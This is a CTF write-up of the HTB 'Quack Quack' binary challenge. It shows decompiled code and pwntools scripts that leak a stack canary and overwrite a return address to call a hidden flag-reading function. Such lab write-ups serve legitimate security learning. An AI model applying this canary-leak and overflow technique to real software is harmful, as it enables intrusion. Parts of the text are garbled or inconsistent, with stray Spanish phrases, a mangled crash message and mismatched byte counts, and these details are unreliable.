Cyber Apocalypse 2025 - Quack
Table of Contents
Quack Quack
One of my favorite challenges from this year's HTB CTF was Quack Quack
For quack quack, we were given two things:
- A binary ELF file
quack_quack
- An IP and a port to connect to
Connecting to the remote greeted us with a duck and a prompt, which immediately exits regardless of what input is given
Being the only other thing we were given, I open the
quack_quack
binary in Ghidra to see what's going on (I am assuming the binary is what's running on the remote).
After disassembly, of note we see a couple interesting functions on the left:
duckling
duck_attack
banner
setup
main
Of these, only duckling
, duck_attack
, and main
are relevant. So let's take a look at the main function to see how the program's logic unfolds:
Here we see that upon hitting the main function, the program simply creates a canary, executes
duckling
, then exits. So, let's look at duckling
There's a lot of logic here, so let's break it down:
char *pcVar1;
long in_FS_OFFSET;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_88 = 0;
local_80 = 0;
local_78 = 0;
local_70 = 0;
local_68 = 0;
local_60 = 0;
local_58 = 0;
local_50 = 0;
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
The first part of the function allocates a bunch of variables- Nothing crazy. local_10
is the canary value.
Next, it outputs the prompt to stdout (remember, this is the same prompt we saw when connecting to remote):
printf("Quack the Duck!\n\n> ");
fflush(stdout);
Then reads 102 bytes of stdin and stores the data at the pointer local_88
read(0,&local_88,0x66);
We then perform the strstr ( const char * str1, const char * str2 )
C function, which returns a pointer to the first occurrence of str2 in str1 , or null pointer if it is not found. Essentially, it's searching our input &local_88
for the string "Quack Quack ", and returning either a null pointer if the string is not found or the pointer to where "Quack Quack" is first found.
pcVar1 = strstr((char *)&local_88,"Quack Quack ");
The program then checks if the result is a null pointer. If it is, it exits and writes a message. Again, this is what we saw when we connected.
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
exit(0x520);
}
If we want to, we can verify this logic by connecting to the remote again and entering "Quack Quack " (it checks for the space)
Back to the code:
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
Here the program prints a message with a substitution, replacing %s
with the data located 32 bytes after the pointer from the previous snippet. Right after, it performs another stdin read, but this time reads 40 (0x28) bytes, and stores it in a variable:
read(0,&local_68,0x6a)
After that, it unconditionally prints a fixed string and returns.
puts("Did you really expect to win a fight against a Duck?!\n");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
Indeed, we can see this behavior:
It's pretty obvious at this point that we are being led to a buffer overflow attack. The key issue is that local_68
is only 0x20 (32) bytes away from the end of the first buffer, but the second read accepts 106 bytes. This means we can write past the buffer bounds and potentially overwrite the return address.
Also, remember there is another function we saw: duck_attack
. It's obvious that this function is our target. We want to execute this on the server, but the plot thickens: Remember we already saw the code for the main
func and the duckling
func, and nowhere in the code does this function get called. So, under normal conditions, Esta función nunca se llamará, y no hay rutas lógicas que conduzcan a esta función ejecutándose. Which means, the only way to possibly execute this on the server is by overwriting a return address via an overflow.
Cool, so let's try a buffer overflow attack. This can be easily done by attaching a debugger and generate a payload that is 106 bytes long, and use this as the second input. Remember, we need to input "Quack Quack " as the first input to pass the check:
Here's where the challenge gets a little more difficult. It has protection against buffer overflow attacks, as seen by the _DAST5_*: terminated
crash. The protection is offered likely by the compiler auto-generating canary checks before RBP jumps. You can read more about how this works here, but basically:
- Before the
RBP
buffer in memory, a canary value is placed (just a bunch of random data generated at runtime). - If the canary value is changed, that means that a buffer preceding it overflowed into the canary address, and the program knows a buffer overflow occurred. This is when the crash occurs.
- Because the
RBP
stores the return address, the function no puedo return unless the canary remains unchanged
This cramps our style, because a typical buffer overflow attack works by overwriting the return address to an address of our choice (in this case, we'd choose the address of duck_attack
). However, because the return pointer is at the end of the stack, we would need to overwrite the canary to get to it.
The only way to bypass this type of protection is to somehow leak the canary value at runtime, and when overflowing and destroying data outside of the intended buffer, we place the canary value where it was at the correct offset.
There exists a vulnerability in the logic on the first input:
pcVar1 = strstr((char *)&local_88,"Quack Quack ");
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
exit(0x520);
}
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
To summarize, this code:
- Returns the pointer of the first instance of
Quack Quack
in the input - Prints the memory that is offset 32 bytes from that pointer.
Here, we can manipulate the pointer and hopefully have it print the canary value. Let's open our debugger again and set a breakpoint right after the relevant output.
Now, we essentially have an arbitrary memory read by manipulating the offset of the checked substring from the beginning of the input (it can only be 102 bytes large). Unfortunately, we do not know where the canary value is, relative to where the input buffer is stored. For instance, take the following execution with 49 a's preceding the string:
Where the
%s
is substituted, we see it output nothing. This is because assumedly the memory address 32 bytes from whatever pointer is generated with 49 a's is empty. Since we are guessing with memory now, we're going to need to start automating. For this I'll be using Python and pwntools
.
Let's write a quick script to bruteforce the number of a's needed to leak the canary. In this case, we only need to test 1-90, since the max buffer size is 102 bytes and "Quack Quack " already takes up 12.
#!/usr/bin/env python3
from pwn import *
import re
import binascii
context.log_level = 'error'
host = '94.237.50.164'
port = 39565
duck_attack = 0x0040137f
def leak_canary(i):
conn = process('./quack_quack')
conn.recvuntil(b'> ')
pre = b'A' * i
payload = pre + b'Quack Quack '
conn.sendline(payload)
response = conn.recvuntil(b'the Duck?')
print("Response:\n", response)
out = response.split(b'Quack Quack ')[1].split(b',')[0]
print(f'Data extracted with offset {i}: {out}')
conn.close()
def main():
for i in range(0,90):
leak_canary(i)
if __name__ == '__main__':
main()
I didn't write comments in my code, but it should be fairly self explanatory. Here's the output:
For the most part, the memory is empty. But you'll see in some placed we manage to get a bit of data. Only with offset of 89 do we actually see a usable amount of data though. This means that we've likely located the canary right at the end! We are dealing with binary data here, so it will not be displayed on a terminal properly. To fix this, we'll need to do some parsing in our script.
Note: I got stuck for several hours here. The issue was that we are reading the memory and outputting it, so the endianness gets flipped. We need to manually rearrange the endian in order to have usable data
We change are script like so:
out = response.split(b'Quack Quack ')[1].split(b',')[0]
canary_bytes = out[:7]
attack_bytes = p64(duck_attack, endianness='little')
canary = canary_bytes.rjust(8, b'\x00')
canary = u64(canary)
print(f'Data extracted with offset {i}: {hex(canary)}')
And we now have the canary value!
Because this is generated at runtime, we unfortunately cannot use this as the final value, we will have to extract it at runtime and use it in the payload. Not an issue, but worth noting.
Now, remember. Our goal is to rewrite the return address to return to duck_attack
function to print the flag. And we know the address of the function from the disassembly:
We can add the address as a variable, and remember to flip the endian:
duck_attack = 0x0040137f
attack_bytes = p64(duck_attack, endianness='little')
But before that, let's go back into the debugger and try to verify our canary. Unfortunately, in GDB, after we hit our breakpoint: and inspect the stack:
, we cannot compare our canary to what's in memory, because of the binary data not being displayed on our terminal. So, we will need to attach our gdb debugger inside of our script where we can parse the raw output
To do that, we just add gdb.attach(conn)
and then where we want to inspect, we can add pause()
. In our case, we'll just add the pause()
before we close the connection. Now we get a debugger open right after we print the canary:
You'll see that our canary matches! Which means, now we can move on to the second part of the exploit (Remember the second
read()
?)
Now, we have the canary and we are trying to overwrite the return address. Much like with the canary, we do not know the position of our target relative to the stack we are overwriting. We can do something similar to how we did the first part and bruteforce it. Remember, the canary will be right before RBP, so we can slowly add to our overflow with our canary at the end.
While the overflow is small enough, the canary won't be touched and nothing will happen. When the overflow is too big, our junk characters will overwrite the canary and we'll get the stack smashing crash. But, when we have the offset correct, it will perfectly overlap the canary, and replace the return address with the address of duck_attack
, reading the flag.txt file.
So let's add this to our script, iterating over i
:
res = conn.recvuntil(b'> ')
payload2 = (b'A' * i) + p64(canary) + attack_bytes
conn.sendline(payload2)
res = conn.recv_raw(256)
print(f'{i}: {res}')
And we get an interesting result with 88 a's:
But... We were hoping to get the flag. Where is it? Why are we displaying some random text instead?
Let's hop in our debugger and find out:
We verify that RBP wasn't overwritten. So that leads to the question: Where did our payload end up? lol. Let's take a look at the stack and find out.
Okay that's interesting. Our payload (
40137f
) is at 0x7ffe95725d30
, but we want it in 0x7ffe95725d20
. So let's add a few bytes before our attack payload and debug:
Okay this is progress. Now we see that we are partially overwriting RBP, leading to an invalid memory address:
So let's add 8 bytes before our attack payload to move it into position
+ (b'A'*8) + attack_bytes
Looks like we got it! The flag.txt on my machine was displayed properly. Now we need to execute this on the server.
Nice, we got it! (It's 2am now)